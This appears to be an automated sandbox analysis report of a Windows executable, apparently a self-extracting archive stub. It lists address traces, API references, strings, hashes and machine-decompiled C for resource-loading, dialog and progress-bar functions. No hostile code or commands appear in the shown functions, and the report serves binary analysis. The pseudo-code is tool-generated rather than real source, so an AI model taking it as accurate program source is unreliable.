0x00402e79
0x00402e7b
0x00402e80
0x00402e83
0x00402e83
0x00402e83
0x00402e84
0x00402e84
0x00402e8b
0x00402e8b
0x00402e91
0x00402e95
0x00402e99
0x00402f29
0x00402f29
0x00402f2c
0x00000000
0x00000000
0x00000000
0x00000000
0x00402e9f
0x00402e9f
0x00402ea2
0x00402ea5
0x00402eaa
0x00402eac
0x00000000
0x00000000
0x00402eae
0x00402eb5
0x00402eba
0x00402ec0
0x00402ec5
0x00402ec8
0x00402ecd
0x00402ed3
0x00402ed5
0x00402ed7
0x00402edc
0x00402ee1
0x00402ee3
0x00402ee8
0x00402eeb
0x00402eeb
0x00402eeb
0x00402eec
0x00402eec
0x00402ef3
0x00402ef7
0x00402ef7
0x00402efe
0x00402f02
0x00402f07
0x00402f09
0x00402f0e
0x00402f10
0x00402f12
0x00402f19
0x00402f1e
0x00402f20
0x00402f25
0x00402f28
0x00402f28
0x00402f28
0x00402f20
0x00402f10
0x00000000
0x00402f32
0x00402f35
0x00402f3a
0x00402f3b
0x00402f3b
0x00000000
0x00402def
0x00402de9
0x00402d0f
0x00402d14
0x00402d16
0x00000000
0x00402d18
0x00402d18
0x00000000
0x00402d18
0x00402d16
0x00402cdb
0x00402ce1
0x00402cef
0x00402cef
0x00402cf1
0x00402cf1
0x00402cf3
0x00402cf4
0x00402cfa
0x00000000
0x00402cfa
0x00402ce3
0x00402ce9
0x00000000
0x00402ceb
0x00402ceb
0x00000000
0x00402ceb

APIs

??2@YAPAXI@Z.MSVCRT ref: 00402D24
??3@YAXPAX@Z.MSVCRT ref: 00402DB1
??3@YAXPAX@Z.MSVCRT ref: 00402DB9
??2@YAPAXI@Z.MSVCRT ref: 00402DD9
??3@YAXPAX@Z.MSVCRT ref: 00402E63
??3@YAXPAX@Z.MSVCRT ref: 00402ECD
??3@YAXPAX@Z.MSVCRT ref: 00402F2C
??3@YAXPAX@Z.MSVCRT ref: 00402F64

Strings

PreExtract, xrefs: 00402CC0
ExtractMaskInclude, xrefs: 00402D3D, 00402F12
ExtractMaskExclude, xrefs: 00402D49, 00402EF7
XhV, xrefs: 00402CC3

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@
String ID: ExtractMaskExclude$ExtractMaskInclude$PreExtract$XhV
API String ID: 4113381792-4230315232
Opcode ID: 10eb3727ea93df6e32f576921567b2ccb6fee07b98c577a5f382be01ac321567
Instruction ID: d17b0469287da104a56fb6e9b72567ba4b72c6d001a8acf4ea1ba453b7e2a31c
Opcode Fuzzy Hash: 10eb3727ea93df6e32f576921567b2ccb6fee07b98c577a5f382be01ac321567
Instruction Fuzzy Hash: D4815E70E0021AABDF14EBA5DA556EEB7B1AF84314F10403FE405B72D1DBB88D86DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00403908, Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 82
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00403908(CHAR* __ecx, CHAR* __edx, intOrPtr* _a4) {
				struct HINSTANCE__* _v8;
				CHAR* _v12;
				CHAR* _v16;
				short _v80;
				struct HINSTANCE__* _t14;
				void* _t16;
				struct HRSRC__* _t28;
				_Unknown_base(*)()* _t29;
				intOrPtr* _t35;

				_v12 = __edx;
				_v16 = __ecx;
				_t14 = GetModuleHandleW(0);
				_v8 = _t14;
				_t28 = FindResourceExA(_t14, _v16, _v12,  *0x422730 & 0x0000ffff);
				if(_t28 != 0) {
					L2:
					_t35 = _a4;
					if(_t35 != 0) {
						 *_t35 = SizeofResource(_v8, _t28);
					}
					_t16 = LoadResource(_v8, _t28);
					if(_t16 == 0) {
						L6:
						if( *0x422734 != 0) {
							L10:
							return 0;
						}
						 *0x422734 = 1;
						_t29 = GetProcAddress( *0x42275c, "SetProcessPreferredUILanguages");
						wsprintfW( &_v80, L"%04X%c%04X%c",  *0x422730 & 0x0000ffff, 0, 0x409, 0);
						if(_t29 != 0) {
							L9:
							 *_t29(4,  &_v80, 0);
							goto L10;
						}
						_t29 = GetProcAddress( *0x42275c, "SetThreadPreferredUILanguages");
						if(_t29 == 0) {
							goto L10;
						}
						goto L9;
					} else {
						return LockResource(_t16);
					}
				}
				_t28 = FindResourceExA(_v8, _v16, _v12, 0x409);
				if(_t28 == 0) {
					goto L6;
				}
				goto L2;
			}

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00403919
FindResourceExA.KERNEL32(00000000,?,?), ref: 00403937
FindResourceExA.KERNEL32(?,?,?,00000409), ref: 0040394E
SizeofResource.KERNEL32(?,00000000), ref: 00403961
LoadResource.KERNEL32(?,00000000), ref: 0040396D
LockResource.KERNEL32(00000000), ref: 00403978
GetProcAddress.KERNEL32(SetProcessPreferredUILanguages), ref: 004039A4
wsprintfW.USER32 ref: 004039BE
GetProcAddress.KERNEL32(SetThreadPreferredUILanguages), ref: 004039D6

Strings

%04X%c%04X%c, xrefs: 004039B8
SetProcessPreferredUILanguages, xrefs: 0040398F
SetThreadPreferredUILanguages, xrefs: 004039CB

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$AddressFindProc$HandleLoadLockModuleSizeofwsprintf
String ID: %04X%c%04X%c$SetProcessPreferredUILanguages$SetThreadPreferredUILanguages
API String ID: 2090077119-3413765421
Opcode ID: 9ff9c65ee6ad474d1f94e696075432f17a425964b421737aef398b4ac16ad6db
Instruction ID: fb6bf53818f6b5e578f497660123dac7438a07a30edb6be36b630e0bf9700e61
Opcode Fuzzy Hash: 9ff9c65ee6ad474d1f94e696075432f17a425964b421737aef398b4ac16ad6db
Instruction Fuzzy Hash: 68212FB1E00215BBDB105FA59D45B9FBFBCEB48701F104076EA00B22A0D7F59D51DB98

Uniqueness

Uniqueness Score: -1.00%

Function 004189CE, Relevance: 18.0, APIs: 12, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E004189CE(void* __ecx) {
				void* _t24;

				_push( *((intOrPtr*)(__ecx + 0xd8)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0xd0)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0xc4)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0xb8)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0xac)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0xa0)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x94)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x88)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x7c)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x70)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x64)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x58)));
				L0041C160();
				_pop(_t30);
				_push( *((intOrPtr*)(__ecx + 0x4c)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x3c)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x38)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x34)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x30)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x2c)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x28)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x24)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x18)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0xc)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 8)));
				L0041C160();
				return _t24;
			}

APIs

??3@YAXPAX@Z.MSVCRT ref: 004189D8
??3@YAXPAX@Z.MSVCRT ref: 004189E3
??3@YAXPAX@Z.MSVCRT ref: 004189EE
??3@YAXPAX@Z.MSVCRT ref: 004189F9
??3@YAXPAX@Z.MSVCRT ref: 00418A04
??3@YAXPAX@Z.MSVCRT ref: 00418A0F
??3@YAXPAX@Z.MSVCRT ref: 00418A1A
??3@YAXPAX@Z.MSVCRT ref: 00418A25
??3@YAXPAX@Z.MSVCRT ref: 00418A2D
??3@YAXPAX@Z.MSVCRT ref: 00418A35
??3@YAXPAX@Z.MSVCRT ref: 00418A3D
??3@YAXPAX@Z.MSVCRT ref: 00418A45

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 463c73ceaa07c935f3af9de3e480d10ad52c6e6ab7b396599fa03f1166ecd5dd
Instruction ID: 0e0f50dce1b9974b6fb96937f2ede7be7b7889254afb23eb482ec8a91eb4f058
Opcode Fuzzy Hash: 463c73ceaa07c935f3af9de3e480d10ad52c6e6ab7b396599fa03f1166ecd5dd
Instruction Fuzzy Hash: A3F068382D0B24BAD6223732DC42BDBB6B6AF40B08F00442FB19A604338DA57C919F5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040808C, Relevance: 16.6, APIs: 11, Instructions: 88
windowCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040808C(void* __edx, long _a4, int _a8, int _a12, int _a16) {
				struct tagRECT _v20;
				_Unknown_base(*)()* _t29;
				int _t34;
				struct HWND__* _t55;
				void* _t56;
				long _t57;
				struct HDC__* _t61;

				_t56 = __edx;
				_t55 = _a4;
				_t57 = GetWindowLongW(GetParent(_t55), 0xffffffeb);
				if(_t57 != 0) {
					_t29 =  *(_t57 + 0x54);
					_a4 = _a4 & 0x00000000;
					if(_t29 != 0) {
						_a4 = CallWindowProcW(_t29, _t55, _a8, _a12, _a16);
					}
					_a12 = GetSystemMetrics(0x31);
					_a16 = GetSystemMetrics(0x32);
					_t34 = _a8;
					if(_t34 == 0) {
						SetWindowLongW(_t55, 0xfffffffc,  *(_t57 + 0x54));
					} else {
						if(_t34 == 0xd) {
							_t61 = GetWindowDC(_t55);
							GetWindowRect(_t55,  &_v20);
							asm("cdq");
							asm("cdq");
							DrawIconEx(_t61, _v20.right - _v20.left - _a12 - _t56 >> 1, _v20.bottom - _v20.top - _a16 - _t56 >> 1,  *(_t57 + 0x50), _a12, _a16, 0, 0, 3);
							ReleaseDC(_t55, _t61);
						}
					}
					return _a4;
				}
				return DefWindowProcW(_t55, _a8, _a12, _a16);
			}

APIs

GetParent.USER32(?), ref: 0040809A
GetWindowLongW.USER32(00000000), ref: 004080A1
DefWindowProcW.USER32(?,?,?,?), ref: 004080B7
CallWindowProcW.USER32(?,?,?,?,?), ref: 004080D8
GetSystemMetrics.USER32 ref: 004080EA
GetSystemMetrics.USER32 ref: 004080F1
GetWindowDC.USER32(?), ref: 00408103
GetWindowRect.USER32 ref: 00408110
DrawIconEx.USER32 ref: 00408144
ReleaseDC.USER32 ref: 0040814C

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$MetricsProcSystem$CallDrawIconLongParentRectRelease
String ID:
API String ID: 2586545124-0
Opcode ID: 58eddb4fd1200f8cdab970e24eaff4f37387fe116eb04ae65f16346c54bda7fc
Instruction ID: 5863647e7012f7e332d139e9621e2b3ca0e85c148ed14a4dd9622dae80b8943e
Opcode Fuzzy Hash: 58eddb4fd1200f8cdab970e24eaff4f37387fe116eb04ae65f16346c54bda7fc
Instruction Fuzzy Hash: A6310CB690060ABFDB019FB8DE48EDF3B69FB08351F008525FA51E6190CB74D920CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004094E2, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 73
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004094E2(void* __ecx, void* __edx, void* __eflags) {
				long _v8;
				intOrPtr _v12;
				int _v20;
				int _v24;
				intOrPtr _v32;
				char _v40;
				void* _t44;

				_t44 = __ecx;
				E00409190(__ecx, __edx, __eflags);
				E004079B7(_t44, 0x4b7, 0);
				E00407925(_t44, 0x4b7,  &_v40);
				E00407925(_t44, 0x4b7,  &_v24);
				DestroyWindow(GetDlgItem( *(_t44 + 4), 0x4b7));
				CreateWindowExA(0x200, "Edit", 0x41de2a, 0x500100a0, _v24, _v20, _v32 - _v24, _v12 - _v20,  *(_t44 + 4), 0x4b7, 0, 0);
				_v8 = SendMessageW( *(_t44 + 4), 0x31, 0, 0);
				SendMessageW(GetDlgItem( *(_t44 + 4), 0x4b7), 0x30, _v8, 1);
				SetFocus(GetDlgItem( *(_t44 + 4), 0x4b6));
				return 0;
			}

0x004094eb
0x004094ed
0x004094fc
0x00409508
0x00409515
0x00409527
0x0040955d
0x00409577
0x00409584
0x00409591
0x0040959d

APIs

Part of subcall function 00409190: memset.MSVCRT ref: 004091E2
Part of subcall function 00409190: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004091F6
Part of subcall function 00409190: SHGetFileInfoW.SHELL32(?,00000000,00000000,000002B4,00000103), ref: 00409216
Part of subcall function 00409190: GetDlgItem.USER32 ref: 00409229
Part of subcall function 00409190: SetWindowLongW.USER32 ref: 00409237

Part of subcall function 004079B7: GetDlgItem.USER32 ref: 004079C4
Part of subcall function 004079B7: ShowWindow.USER32(00000000,?), ref: 004079DB

Part of subcall function 00407925: GetDlgItem.USER32 ref: 0040792D

GetDlgItem.USER32 ref: 00409524
DestroyWindow.USER32(00000000), ref: 00409527
CreateWindowExA.USER32 ref: 0040955D
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 0040956D
GetDlgItem.USER32 ref: 0040957A
SendMessageW.USER32(00000000,00000030,?,00000001), ref: 00409584
GetDlgItem.USER32 ref: 0040958E
SetFocus.USER32(00000000), ref: 00409591

Strings

Edit, xrefs: 00409553

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Item$Window$MessageSend$CreateDestroyDirectoryFileFocusInfoLongShowSystemmemset
String ID: Edit
API String ID: 1904772019-554135844
Opcode ID: fa5d6b11f3bfb7040f8905d8716a38a91aa73369538ddbddf177dea4798fc51b
Instruction ID: 0e6a47c8423b62f02d93f4ef7a6912530f49f9b8c415eb71875aef5ea39149c2
Opcode Fuzzy Hash: fa5d6b11f3bfb7040f8905d8716a38a91aa73369538ddbddf177dea4798fc51b
Instruction Fuzzy Hash: 17112475E00318BBEB11ABE5CD49FAFBBBDEF89B04F104419B611B6190C675ED008729

Uniqueness

Uniqueness Score: -1.00%

Function 004099C9, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E004099C9(intOrPtr* __eax, void* __edx, void* __eflags) {
				signed int _v8;
				char _v20;
				char _v32;
				char _v44;
				char _v56;
				signed int _t34;
				intOrPtr _t37;
				void* _t50;
				signed int _t57;
				signed int _t58;
				short* _t61;
				void* _t82;
				void* _t83;
				intOrPtr* _t84;
				void* _t86;

				_t84 = __eax;
				E004148C7(__eax, 0x422844);
				_t34 = E0040990C(0x41f004, _t84);
				_v8 = _t34;
				if(_t34 <= 0) {
					L8:
					return _t34 | 0xffffffff;
				}
				_t61 =  *_t84 + _t34 * 2;
				if( *_t61 != 0x2e) {
					goto L8;
				}
				 *(_t84 + 4) = _t34;
				 *_t61 = 0;
				_t37 =  *0x42276c; // 0x0
				_push(_t84);
				if(_t37 == 1) {
					_t57 = E0040990C(0x41f004);
					if(_t57 < 0) {
						L17:
						return 1;
					}
					_t82 = _t57 + _t57;
					_t44 =  *_t84 + _t82;
					if( *((short*)( *_t84 + _t82)) != 0x2e || _v8 - _t57 != 4) {
						goto L17;
					} else {
						E00414660( &_v56, 2, _t44 + 2);
						E00414803( &_v32, _v56);
						_push(_v56);
						L0041C160();
						if(E00409873( &_v32, 0x41effc) == 0) {
							_push(_v32);
							L0041C160();
							goto L17;
						}
						 *(_t84 + 4) = _t57;
						 *((short*)(_t82 +  *_t84)) = 0;
						_t50 = _t82 +  *_t84 + 2;
						__imp___wtol(_t50);
						_push(_v32);
						L15:
						_t86 = _t50;
						L0041C160();
						_t29 = _t86 + 1; // 0x1
						return _t29;
					}
				}
				_t34 = E0040990C(0x41f004);
				_t58 = _t34;
				if(_t58 <= 0) {
					goto L8;
				}
				_t83 = _t58 + _t58;
				_t34 =  *_t84 + _t83;
				if( *_t34 != 0x2e) {
					goto L8;
				}
				E00414660( &_v44, 2, _t34 + 2);
				E00414803( &_v20, _v44);
				_push(_v44);
				L0041C160();
				_t34 = E00409873( &_v20, 0x41effc);
				if(_t34 == 0) {
					_push(_v20);
					L0041C160();
					goto L8;
				}
				 *(_t84 + 4) = _t58;
				 *((short*)(_t83 +  *_t84)) = 0;
				_t50 = _t83 +  *_t84 + 2;
				__imp___wtol(_t50);
				_push(_v20);
				goto L15;
			}

APIs

Part of subcall function 004148C7: ??2@YAPAXI@Z.MSVCRT ref: 004148EF
Part of subcall function 004148C7: ??3@YAXPAX@Z.MSVCRT ref: 004148F8
Part of subcall function 004148C7: memcpy.MSVCRT ref: 00414912

??3@YAXPAX@Z.MSVCRT ref: 00409A4E
_wtol.MSVCRT(?,?,00000002,-00000002,?,?,00422844,00000000), ref: 00409A77
??3@YAXPAX@Z.MSVCRT ref: 00409A88
??3@YAXPAX@Z.MSVCRT ref: 00409AD4
_wtol.MSVCRT(?,?,00000002,-00000002,?,?,00422844,00000000), ref: 00409AFD
??3@YAXPAX@Z.MSVCRT ref: 00409B08
??3@YAXPAX@Z.MSVCRT ref: 00409B1A

Part of subcall function 00414660: memcpy.MSVCRT ref: 0041468E

Part of subcall function 00414803: memcpy.MSVCRT ref: 00414829

Strings

.\/, xrefs: 004099E0

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$memcpy$_wtol$??2@
String ID: .\/
API String ID: 211236615-1884134905
Opcode ID: fb009ff4c93d1a4d1e6f91051f7102aae8f39ca6315ff52aef816eb80003b4eb
Instruction ID: 2f426bf7fcc050e2f2ccbb6fef500bcc126e9f0fd43eeb082ec496173bf80244
Opcode Fuzzy Hash: fb009ff4c93d1a4d1e6f91051f7102aae8f39ca6315ff52aef816eb80003b4eb
Instruction Fuzzy Hash: 2D41A332A00215ABCB25EF65EC419AAB7B5FF44318710443FE452A7292EB78AC41CB5C

Uniqueness

Uniqueness Score: -1.00%

Function 00409D15, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00409D15(void* __ecx, void* __edx, void* __eflags) {
				intOrPtr* _t44;
				void* _t46;
				intOrPtr* _t48;
				void* _t49;
				void* _t52;
				WCHAR* _t71;
				intOrPtr _t74;
				void* _t77;
				void* _t79;
				void* _t80;
				void* _t82;

				_t82 = __eflags;
				_t77 = _t79 - 0x78;
				_t80 = _t79 - 0x88;
				_t52 = __ecx;
				 *((intOrPtr*)(_t77 + 0x3c)) = 0;
				 *((intOrPtr*)(_t77 + 0x44)) = 0;
				 *((intOrPtr*)(_t77 + 0x48)) = 0;
				 *((intOrPtr*)(_t77 + 0x4c)) = 0;
				 *((intOrPtr*)(_t77 + 0x50)) = 0;
				 *((intOrPtr*)(_t77 + 0x54)) = 0;
				 *((intOrPtr*)(_t77 + 0x58)) = 0;
				E004147DF(0, _t77 + 0x5c);
				_t74 = E004099C9(_t77 + 0x5c, __edx, _t82);
				if(_t74 != 0xffffffff) {
					 *((intOrPtr*)(_t77 + 0x74)) = _t74;
					E004147DF(_t36, _t77 + 0x68);
					_push(_t74);
					_t71 = L".%03u";
					while(1) {
						wsprintfW(_t77 - 0x10, _t71);
						_t80 = _t80 + 0xc;
						_t69 = _t77 + 0x5c;
						E00414864(_t77 + 0x68,  *((intOrPtr*)(E00414787(_t77 + 0x30, _t77 + 0x5c, _t77 - 0x10))));
						_push( *((intOrPtr*)(_t77 + 0x30)));
						L0041C160();
						_t44 = E00409931(_t77 + 0x3c,  *((intOrPtr*)(_t77 + 0x68)), _t77 + 0x3c);
						__eflags = _t44;
						if(_t44 != 0) {
							break;
						}
						_t46 = E00409CEB(_t77 + 0x3c, _t52 + 0x1c, _t69, _t77 + 0x3c);
						_push( *((intOrPtr*)(_t77 + 0x68)));
						L0041C160();
						_t17 = _t77 + 0x74;
						 *_t17 =  *((intOrPtr*)(_t77 + 0x74)) + 1;
						__eflags =  *_t17;
						E004147DF(_t46, _t77 + 0x68);
						_push( *((intOrPtr*)(_t77 + 0x74)));
					}
					_push( *((intOrPtr*)(_t77 + 0x68)));
					L0041C160();
					_push( *((intOrPtr*)(_t77 + 0x5c)));
					L0041C160();
					_t48 =  *((intOrPtr*)(_t77 + 0x3c));
					__eflags = _t48;
					if(_t48 != 0) {
						 *((intOrPtr*)( *_t48 + 8))(_t48);
					}
					_t49 = 1;
				} else {
					_push( *((intOrPtr*)(_t77 + 0x5c)));
					L0041C160();
					_t49 = 0;
				}
				return _t49;
			}

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

Part of subcall function 004099C9: ??3@YAXPAX@Z.MSVCRT ref: 00409A4E
Part of subcall function 004099C9: _wtol.MSVCRT(?,?,00000002,-00000002,?,?,00422844,00000000), ref: 00409A77
Part of subcall function 004099C9: ??3@YAXPAX@Z.MSVCRT ref: 00409B08

??3@YAXPAX@Z.MSVCRT ref: 00409D55
wsprintfW.USER32 ref: 00409DA4
??3@YAXPAX@Z.MSVCRT ref: 00409DC5
??3@YAXPAX@Z.MSVCRT ref: 00409DE0
??3@YAXPAX@Z.MSVCRT ref: 00409DE8

Strings

.%03u, xrefs: 00409D75, 00409DA2
XhV, xrefs: 00409D22

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@_wtolwsprintf
String ID: .%03u$XhV
API String ID: 2619731350-1690356812
Opcode ID: 3023bf8b89e1a29ff4447a7c58853428f1a0a35791a758db2a9123d182c47762
Instruction ID: 0034a0038c25d7715fb85f134ff920e9ad4cb3cd18a2976f835199771390e190
Opcode Fuzzy Hash: 3023bf8b89e1a29ff4447a7c58853428f1a0a35791a758db2a9123d182c47762
Instruction Fuzzy Hash: 8F313671540218AFCF04EF65DC818EE3BA9EF04314B10403BFC25922A2EB39DD86CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0040885E, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 111
windowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040885E(void* __ecx, void* __edx, void* __eflags, signed int _a4) {
				char _v16;
				short _v40;
				void* _t47;
				signed char _t58;
				intOrPtr* _t59;
				intOrPtr* _t61;
				void* _t88;
				intOrPtr* _t90;
				void* _t91;

				_t88 = __edx;
				_t91 = __ecx;
				E004147DF(_t47,  &_v16);
				_t90 = _a4;
				if(( *(__ecx + 0x60) |  *(__ecx + 0x64)) == 0) {
					_t9 =  &_a4;
					 *_t9 = _a4 & 0x00000000;
					__eflags =  *_t9;
				} else {
					_a4 = E0041C200(E0041C2B0( *_t90,  *((intOrPtr*)(_t90 + 4)), 0x7530, 0), _t88,  *((intOrPtr*)(_t91 + 0x60)),  *((intOrPtr*)(_t91 + 0x64)));
				}
				if(_a4 > 0x7530) {
					_a4 = 0x7530;
				}
				SendMessageW(GetDlgItem( *(_t91 + 4), 0x4b8), 0x402, _a4, 0);
				asm("cdq");
				wsprintfW( &_v40, L"%d%%", (_a4 + 0x12b) / 0x12c);
				if(( *0x42245c & 0x00000004) != 0) {
					E0040790B(GetDlgItem( *(_t91 + 4), 0x4b5),  &_v40);
				}
				_t58 =  *0x42245c; // 0x0
				if((_t58 & 0x00000002) == 0) {
					_t99 = _t58 & 0x00000001;
					if((_t58 & 0x00000001) == 0) {
						E00414864( &_v16,  &_v40);
						E00401585( &_v16, 0x20);
						_push( *0x42273c);
					} else {
						E00414864( &_v16,  *0x42273c);
						E00401585( &_v16, 0x20);
						_push( &_v40);
					}
					E00414922( &_v16);
					_t58 = E00407F52(_t91, _t99, _v16);
				}
				if( *((intOrPtr*)(_t91 + 0x70)) != 0) {
					_t59 =  *((intOrPtr*)(_t91 + 0x70));
					 *((intOrPtr*)( *_t59 + 0x28))(_t59,  *(_t91 + 4), 2);
					_t61 =  *((intOrPtr*)(_t91 + 0x70));
					_t58 =  *((intOrPtr*)( *_t61 + 0x24))(_t61,  *(_t91 + 4),  *_t90,  *((intOrPtr*)(_t90 + 4)),  *((intOrPtr*)(_t91 + 0x60)),  *((intOrPtr*)(_t91 + 0x64)));
				}
				_push(_v16);
				L0041C160();
				return _t58;
			}

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00408896

Part of subcall function 00414864: ??2@YAPAXI@Z.MSVCRT ref: 00414896
Part of subcall function 00414864: ??3@YAXPAX@Z.MSVCRT ref: 0041489F
Part of subcall function 00414864: memcpy.MSVCRT ref: 004148B7

GetDlgItem.USER32 ref: 004088BA
SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 004088C7
wsprintfW.USER32 ref: 004088E7
GetDlgItem.USER32 ref: 00408905
??3@YAXPAX@Z.MSVCRT ref: 00408993

Strings

%d%%, xrefs: 004088E1

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@??3@Item$MessageSendUnothrow_t@std@@@__ehfuncinfo$??2@memcpywsprintf
String ID: %d%%
API String ID: 3036602612-1518462796
Opcode ID: 8cfa6b19ea87e6c2df946cea92ef3935ce7be78ec6565922d45dd35d34bd56eb
Instruction ID: 432b5be96da59719ee59c1cdf104f12e765a410818bb6324a0b4774a71f17581
Opcode Fuzzy Hash: 8cfa6b19ea87e6c2df946cea92ef3935ce7be78ec6565922d45dd35d34bd56eb
Instruction Fuzzy Hash: 7C41C3B1900708BFDB11ABA0CD45EDAB7B5FF48704F10842EF682662E1DB79E951CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00401368, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00401368() {
				signed int _v8;
				signed int _v12;
				void* __ecx;
				signed int _t31;
				signed int _t33;
				signed int _t34;
				intOrPtr* _t35;
				long _t36;
				intOrPtr* _t37;
				intOrPtr* _t38;
				intOrPtr _t41;
				signed int _t49;
				void* _t51;
				signed int _t66;
				void* _t69;
				signed int _t73;
				intOrPtr* _t74;
				void* _t77;

				_push(_t51);
				_push(_t51);
				_t69 = _t51;
				if(( *0x422774 & 0x00000040) != 0) {
					L19:
					_t31 = 0;
					L20:
					return _t31;
				}
				_t76 =  *0x422704;
				if( *0x422704 > 0) {
					goto L19;
				}
				_t77 = E00401303(_t51, _t76);
				if(_t77 == 0) {
					goto L19;
				}
				_t33 = E0040115F(_t69);
				_t66 = 4;
				_t49 = _t33;
				_t34 = _t33 * _t66;
